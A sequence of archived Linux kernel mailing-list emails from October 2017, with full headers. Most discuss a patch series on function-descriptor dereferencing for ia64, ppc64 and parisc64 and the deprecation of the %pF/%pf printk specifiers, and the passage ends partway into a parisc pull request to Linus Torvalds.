Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28275 gmane.linux.ports.parisc:27931 gmane.linux.ports.ppc64.devel:149395 gmane.linux.kernel:2596703
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28275>

On (10/04/17 11:00), Petr Mladek wrote:
[..]
> >  /* random extra sections (if any).  Override
> > diff --git a/include/linux/moduleloader.h b/include/linux/moduleloader.h
> > index 4d0cb9bba93e..172904e9cded 100644
> > --- a/include/linux/moduleloader.h
> > +++ b/include/linux/moduleloader.h
> > @@ -85,6 +85,10 @@ void module_arch_cleanup(struct module *mod);
> >  /* Any cleanup before freeing mod->module_init */
> >  void module_arch_freeing_init(struct module *mod);
> >  
> > +/* Dereference module function descriptor */
> > +unsigned long dereference_module_function_descriptor(struct module *mod,
> > +						     unsigned long addr);
> > +
> 
> The function is used when the module is already loaded. IMHO,
> include/linux/module.h would be a better place.
> 
> One advantage would be that we could use the same trick
> as in include/asm-generic/sections.h. I mean:
> 
> #define dereference_module_function_descriptor(mod, addr) (addr)
> 
> and redefine it in the three affected
> arch/<arch>/include/asm/module.h headers. Then it might be completely
> optimized out on all architectures.

will take a look.

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 1/7] switch dereference_function_descriptor() to
 `unsigned long'
Date: Thu, 19 Oct 2017 15:50:04 +0900
Lines: 21
Approved: news@gmane.org
Message-ID: <20171019065004.GF449@jagdpanzerIV>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-2-sergey.senozhatsky@gmail.com>
 <20171004082414.GC20084@pathway.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508395815 1750 195.159.176.226 (19 Oct 2017 06:50:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Oct 2017 06:50:15 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Petr Mladek <pmladek@suse.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Thu Oct 19 08:50:09 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1e54eZ-0001vZ-Am
	for glpi-linux-ia64-2@m.gmane.org; Thu, 19 Oct 2017 08:50:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751618AbdJSGuK (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Thu, 19 Oct 2017 02:50:10 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:51191 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751586AbdJSGuI (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Thu, 19 Oct 2017 02:50:08 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id y7so6309992pgb.7;
        Wed, 18 Oct 2017 23:50:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=Xi/uZgBzrVdN+RfuOH6nmPQY429vetZnfADwm+voWM4=;
        b=bkAEPbdXc2+gvlLNiNPfP3Wu0sWd5YbDshXb4HaAhq6hn7vAukrLU2Ygj1g6YVIp9H
         sk6ovlkvR9Gfb5IWHXrcE9mrQsxr1I8lj+R99OwfsCj69OcEXn76Zz6DUWcNXPaoIU3T
         DSVIayv9a0P6QD2+dK661e9of5d10kmq31HzeHa2PkyBvDvWpJuKNVeFt6lWKQ0+cYok
         w9CwgK471II8uXbMPtQTkQ38I8u6mEUYf77uY3or3cKAZV4m6XeVh/FmkLz0LhDYokVH
         GXWnij61AE/g4aN4YU9UDf4NwSkvy4j9LZUQKVP9LgeZX34KEodqR3yX2D09f+D79V+T
         /VGA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=Xi/uZgBzrVdN+RfuOH6nmPQY429vetZnfADwm+voWM4=;
        b=fT/zIcUSChIJlmEC07fjL3Alk82OuV6tWsiHiJtC1LTqHL9u024/XX4SYrIUt4inQX
         oTl2GCngKf8UCW3gsGbNeRF2WIbE72WKZd5eAWMQ6TQfRqM/EF5LcG9JPBeZqZGh/bFD
         GvUt7IGt9ZeTed95J/6FdzWS0ZzTP4SQtB5HPA5H5UerQvJffprj4s4AVcmPM6ROor1/
         MN5gPfZqSJMVnC2vBUla9CrWIDxGrOLRQ+/yoL6oGHpsXEGu7Ed5wS9l8tNZHM6zmZ8V
         r5tyz7MS4gCdpmJ8h+wdhLImIhNKuhfWYWX7cs8B/JSkU0sGMnCCKgsc/dm1vt2zQNqt
         EtHA==
X-Gm-Message-State: AMCzsaXl02LWXb4YxgFWIRggkdPmvJ3zWS9sJBicyic4o5dHtN4ri9Mw
        DxGoGeXpZFmHYzuvP9wY1G8=
X-Google-Smtp-Source: ABhQp+QgWAyQUlKNQB77vEVBsGt238WhCDVlM7nMMtcyhlDsJcnfH7yWSfTDtXaUWFwRt7MhyI+t3w==
X-Received: by 10.98.147.197 with SMTP id r66mr615938pfk.20.1508395808404;
        Wed, 18 Oct 2017 23:50:08 -0700 (PDT)
Original-Received: from localhost ([175.223.17.193])
        by smtp.gmail.com with ESMTPSA id f11sm21906416pgp.48.2017.10.18.23.50.06
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 18 Oct 2017 23:50:07 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20171004082414.GC20084@pathway.suse.cz>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28276 gmane.linux.ports.parisc:27932 gmane.linux.ports.ppc64.devel:149396 gmane.linux.kernel:2596707
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28276>

On (10/04/17 10:24), Petr Mladek wrote:
[..]
> To make it clear. All these comments are not a big deal and I do
> not want to invalidate all the acked-by and tested-by just because
> of them.
>
> But please, consider removing this change if we need to do
> another iteration of this patchset. IMHO, there is no real win
> and it would just pollute the git history.

I tend to rather keep it. would that cause any problems on your side?
it saves a ton of ugly casts later in the patch set and lets us to drop
some casts from the modules code/etc. the patch is here because otherwise
I had to add a bunch of new casts.

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 4/7] powerpc64: Add .opd based function descriptor
 dereference
Date: Thu, 19 Oct 2017 23:01:06 +0900
Lines: 44
Approved: news@gmane.org
Message-ID: <20171019140106.GA498@tigerII.localdomain>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-5-sergey.senozhatsky@gmail.com>
 <20171004092108.GF20084@pathway.suse.cz>
 <87r2ujp3yc.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508421713 14690 195.159.176.226 (19 Oct 2017 14:01:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Oct 2017 14:01:53 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Petr Mladek <pmladek@suse.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 19 16:01:45 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e5BNz-0007wH-Ss
	for glpp-linux-parisc@m.gmane.org; Thu, 19 Oct 2017 16:01:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755042AbdJSOBQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 19 Oct 2017 10:01:16 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:52649 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754724AbdJSOBO (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 19 Oct 2017 10:01:14 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id a192so7280231pge.9;
        Thu, 19 Oct 2017 07:01:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=yVnOsB30o9Ez8Au/k7brSqLJg3Zp0ef/C7Qd7iHJQKU=;
        b=gBGEE2lCqBoiigSd41LYemU6Rste3+9QoEQ6axVVQzVN1MaQ0C25JTCZC0OtzxLNbC
         Fy3woqeYvH8ka/NcARgImVIcBRDOHyFFhnma4SZ9VXRVCnMGhWLnY7AhmvgY0NuFp5Av
         MdzNMVr1PrpGsLedGk/J3jZbjBIDnFFfure5K0bM/n1QYTB2h/tqG4/vtBKszPSfFarg
         1hD4RhjOSE8BGfOB1uf70OCUSNXZF1Rahiq1SfYTbr4oO8hMJ9sJRaSKOEVUG8Yh0wxK
         rHTmBxVfWAk0gAphOUBsyUU+P6rjLe3LWiv7KbH/w7uJCAaeNjJgtBCwarWogFtozuzc
         WG8A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=yVnOsB30o9Ez8Au/k7brSqLJg3Zp0ef/C7Qd7iHJQKU=;
        b=HE/tSE7kPFFrycY/pS1BfQurGK7qCRVr+Rm0K+xI2addm/w7hwJXvnNVo1aSGQwdcI
         jdX9VatHz9FoOPbwJY4QOVNjn7GMKJt84eCcbfYsAWDGd0xQ+0uaB/XYnC+HYlZPq5iV
         WzFv9GqNJi8CdxYXcBfN+Qs9KquLr0/gLzrb/cFZOra8SqQZDSg+caG3mabLV5s9+WNj
         7KcCO23KNgyLM1FSIwKkiVBzWXOsPjNIRaneEi9CFJAkxc08hUSXG98Xud2mS86g9I3Q
         yJZpZaFX8YECrEjGYmC93bBMBHEUVyrG8TReJ45DCIjn7wga0Qf7nTqaSCoE69xalpvK
         W3og==
X-Gm-Message-State: AMCzsaXWFjudTsEo5XC3RxkRctIMPA60zldLeagW2gbt8runU+PuZJMR
        VKO5ljsOu+dn3193/s6kL9I=
X-Google-Smtp-Source: ABhQp+RFRml3QxSGQExUMYyV5PqvJZbkR2QCDcXAsLqGADxyTVIzTDUKM4T3sVMuLIA6wFBSoBiC1Q==
X-Received: by 10.84.176.131 with SMTP id v3mr1614283plb.208.1508421673325;
        Thu, 19 Oct 2017 07:01:13 -0700 (PDT)
Original-Received: from localhost ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id b68sm27843427pfg.171.2017.10.19.07.01.10
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 19 Oct 2017 07:01:10 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <87r2ujp3yc.fsf@concordia.ellerman.id.au>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27933 gmane.linux.ports.ia64:28277 gmane.linux.ports.ppc64.devel:149427 gmane.linux.kernel:2597212
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27933>

Hello,

Michael, sorry for the delay. I'm catching up with the emails
after... absence.

On (10/04/17 22:06), Michael Ellerman wrote:
> Petr Mladek <pmladek@suse.com> writes:
> > On Sat 2017-09-30 11:53:16, Sergey Senozhatsky wrote:
> >> diff --git a/arch/powerpc/kernel/module_64.c b/arch/powerpc/kernel/module_64.c
> >> index 0b0f89685b67..94caec045a90 100644
> >> --- a/arch/powerpc/kernel/module_64.c
> >> +++ b/arch/powerpc/kernel/module_64.c
> >> @@ -712,6 +717,17 @@ int apply_relocate_add(Elf64_Shdr *sechdrs,
> >>  	return 0;
> >>  }
> >>  
> >> +#ifdef PPC64_ELF_ABI_v1
> >> +unsigned long dereference_module_function_descriptor(struct module *mod,
> >> +						     unsigned long addr)
> >> +{
> >> +	if (addr < mod->arch.start_opd || addr >= mod->arch.end_opd)
> >> +		return addr;
> >> +
> >> +	return dereference_function_descriptor(addr);
> >> +}
> >> +#endif /* PPC64_ELF_ABI_v1 */
> >
> > I would personally move this up in the source file. It is related to
> > the definition of func_desc() and other functions that are
> > also PPC_ELF_ABI-specific.
> 
> Yeah that would be neater. There's already a PPC64_ELF_ABI_v2 block, you
> could put this in the else case of that.
> 
> But we can do that later if you're not respinning otherwise.

will do.

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Thu, 19 Oct 2017 23:11:24 +0900
Lines: 58
Approved: news@gmane.org
Message-ID: <20171019141124.GB498@tigerII.localdomain>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
 <20170922053404.3zpfpwetabjut2er@santosiv.in.ibm.com>
 <20170922080023.GA599@jagdpanzerIV.localdomain>
 <3908561D78D1C84285E8C5FCA982C28F61381992@ORSMSX114.amr.corp.intel.com>
 <20170925070542.GA387@jagdpanzerIV.localdomain>
 <871smsg2fc.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508422297 3336 195.159.176.226 (19 Oct 2017 14:11:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Oct 2017 14:11:37 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        "Luck, Tony" <tony.luck@intel.com>,
        Santosh Sivaraj <santosh@fossix.org>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        "Yu, Fenghua" <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
        "linux-kernel@vger.kernel
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 19 16:11:30 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1e5BXk-0008LI-DT
	for glk-linux-kernel-3@m.gmane.org; Thu, 19 Oct 2017 16:11:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754750AbdJSOLc (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 19 Oct 2017 10:11:32 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:54840 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754361AbdJSOL2 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 19 Oct 2017 10:11:28 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id l24so7305461pgu.11;
        Thu, 19 Oct 2017 07:11:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=5/m3rBkAxKWme4WQDImNqTLbQKBHga+kg1ymuMC+amg=;
        b=axbOnk1C4mqbH4BFp/TzGgIU2Pvz8HaJGM8yod30PKUevz4NLCEH9jGtU4nHRyk3ec
         9tZSjaFUcXQhszMy5qu2DbFRlo3/jKRi2lLcw+I6Tet0UoqXh7lAGcB9UakxOTxZOgKY
         /VBmHDKdc/Vd7YMIJZ8OAXMLHV3wvZ4RfA41AY6E6K8tzwmIPYkWDKdTKGQ7PC1G8cJf
         j1iZTbknjw2tGdWnH46mJ1CcVGv/dyloKTUozFUgu6xAOQw7l4vXgpIW+aR7bBUAamBg
         10Hllupijp48XgLZtWhVblvrzAPXN4KcmXKMUd9UVZp2B975IitqcUDAGc63ii8bO1Lk
         q+qA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=5/m3rBkAxKWme4WQDImNqTLbQKBHga+kg1ymuMC+amg=;
        b=iB0g3gMqKn01nAxhWI/kG+zCevzhnXxKMDWKfRiF41Ur7OYOw7+c80Ve4FrLA2kRAN
         bDPf51BDePm/8+RiogqKvYIqCo6yvY/dcplciwA4oWRg/q9XkAztSGGol1e1KulYfgXM
         cQgrGGBQWOSmrqePWyWTG9yVRMWqt6AJw5A9KDz8iUO1TnyJMytk9WNe9sxMD7unEg15
         Wh6qS8LgmkL6Hfn90QTc6pPiNXzqtInOUKySzWmYZvbP8E5MWw9WlcrnfP036NDEYcxb
         /gYDyEEeBB6ldBoqkRpfg80k8NnErX7Ardmi9SK2XYXS0CxuqGJJTxYVf5RhqSQU7lcn
         bX0g==
X-Gm-Message-State: AMCzsaXPJJn7XJAWt7I4X5JQqs+4eeFIJ1kjhDG8FwMoPAiyGGGAptbK
        BTw6DItwQRgQg+kCJvoZQc4=
X-Google-Smtp-Source: ABhQp+Szt9MnRtxHDs4er/Xq0cGfxRPSygiws/YEEuTcW8wSrcTwVYzqU73CM9PfuC8l6I9UQvPm9g==
X-Received: by 10.84.210.166 with SMTP id a35mr1651545pli.426.1508422287395;
        Thu, 19 Oct 2017 07:11:27 -0700 (PDT)
Original-Received: from localhost ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id i187sm17018504pfc.96.2017.10.19.07.11.26
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 19 Oct 2017 07:11:26 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <871smsg2fc.fsf@concordia.ellerman.id.au>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2597236 gmane.linux.ports.ia64:28278 gmane.linux.ports.parisc:27934 gmane.linux.ports.ppc64.devel:149428
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2597236>

Michael,

On (09/27/17 15:01), Michael Ellerman wrote:
> Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com> writes:
> 
> > On (09/22/17 16:48), Luck, Tony wrote:
> > [..]
> >> Tested patch series on ia64 successfully.
> >> 
> >> Tested-by: Tony Luck <tony.luck@intel.com>
> >
> > thanks!
> >
> >> After this goes upstream, you should submit a patch to get rid of
> >> all uses of %pF (70 instances in 35 files) and %pf (63 in 34)
> >> 
> >> Perhaps break the patch by top-level directory (e.g. get all the %pF
> >> and %pF in the 17 files under drivers/ in one patch).
> >
> > frankly, I was going to have some sort of a lazy deprecation process:
> > didn't plan to send out a patch set that would hunt down all pf/pF-s.
> > hm...
> 
> That never works though, we have lots of cruft left over from times when
> that's happened and the conversion never quite got finished.

this time around it's different, I promise! :)


well...
I guess I can send out a tree wide pf/pF removal patch set. later.
when we will see that .opd based dereference does not make anyone
unhappy.

and I think we can't remove pf/pF from the kernel completely. it
will stay in vscnprintf() for some time. old habits die hard, I suppose,
there might be people using it for debugging/etc.


> At least if you send out the patches to do the removal they might
> eventually get merged.
> 
> > speaking of upstream, any objections if this patch set will go through
> > the printk tree, in one piece?
> 
> Do you mind putting it in a topic branch (based on rc2) and then merge
> that into the printk tree? That way I can merge the topic branch iff
> there are conflicts later down the line towards 4.15.

ok, let me re-spin the series. there are some changes here
and there, so I'll drop Tested-by/Reviewed-by tags and will
ask platforms' maintainers to re-test the patch set :(

if everything goes OK, then we can ask Petr to do the topic
branch (I don't have a kernel.org account).

	-ss


From - Thu Nov 08 21:40:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fixes for 4.14
Date: Thu, 19 Oct 2017 20:22:58 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20171019182258.GA8290@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508437440 26325 195.159.176.226 (19 Oct 2017 18:24:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Oct 2017 18:24:00 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Guenter Roeck <linux@roeck-us.net>
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 19 20:23:56 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e5FTs-0005cU-AI
	for glpp-linux-parisc@m.gmane.org; Thu, 19 Oct 2017 20:23:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752523AbdJSSXv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 19 Oct 2017 14:23:51 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:52787 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752092AbdJSSXv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 19 Oct 2017 14:23:51 -0400
Original-Received: from ls3530.fritz.box ([91.36.205.85]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MEoGY-1dzAwZ13HO-00G2QF; Thu, 19
 Oct 2017 20:23:01 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:91sm8hqRWCcqVep2ocwkDoU9hiko4Qbsav1aTbYrT/P4OEVhuE4
 ukpmlHbq5NoQJm5I4zFjK80bJmLYKCl1M4dk8nct+RXl3D1mQkNyNnxVWZJi6B3w51YR5CT
 vT9Wc+CJ7J6ZjYYq5s7cRjrK6ZCuU9nrhMWcnYRk+8UAVfRLJ8naZqR8bWV0iPZ2gygvoFX
 7msC8PuDyICiT8bfkWjZA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:atX6NHFnLn8=:2k/qgccflMAdpEDMcgI7En
 ijMoC84dMclJa1Fp0WDvw9/Gu9vgFkCoCVc0/FuGKk9Ajo9OdEPAl1dJF7a7em4p7LhfOUctn
 ULWZs3FPzxmYGOCApm4Suxsp8WQpe8rWCxKgBbwmIipQJX1WFvPSQD8OUR02MZ0iXlLvCtkoB
 PrOtX44Imaobr8MHBqcPqy6DLBWNx39OyT/2vl5yhVMMvoGoGcckiywwKKtlCLSs9hOPQVfKG
 vM/cVzjFP7WTIAhJlFZow7RcC7HiUioz5UPSTIjC6tRPyEa/DA/oASC/MObUQTt28YkUkeVxC
 wEIWSYq7FwGlIukCwJS4Ad4/a9uX5nWNbeDCj8bBAsYPMaBhFcODvdeZuG8+m/hkk6jZssxtA
 o1dSyUVX0IjaJxI0ra/mjR0cbdA7wReu6Ti77VZyDj46bxeOpDQ9mOQS/zvONo66WWuFiJ/S6
 lmVaWvi0yTgmi51b0/JEqONtSntMPtG6j5zbWOfMUboqk3NDxrLljSNnQymStuIXQL4Fy0u7I
 1LgbAdLEgs0GUpj8XsQ1n+hksH42i3hX74lDE8eLws305PzZoPgKo6wGVx8ylNzRwaIHZ362g
 4LiZb1v7DmQthCM1RXk/oUsI1axpQGSdiD9jgMyEvA1j1/RxcEqRmGfcgAWWhaNoFU2czGWdF
 M15oxl0Tfu69DbM46l0rpdwPKKLJUIOeWzE+zoHFk9Couw05VKGgQRxIkaU0xlkKqiGVIEqDZ
 oRKMiJTpVW2se+r+Bf7VsaJWkzynT6CsIwJTGWt3jl8LLpKeyucFqg5QwgmB5RHLyDhMK1bK 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27935 gmane.linux.kernel:2597563
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27935>

Hi Linus,

please pull three small but important fixes for the parisc architecture for kernel 4.14 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.14-3

Three small important fixes for the parisc architecture:

- Export __cmpxchg_u64() symbol on 32bit kernel too. This unbreaks building the
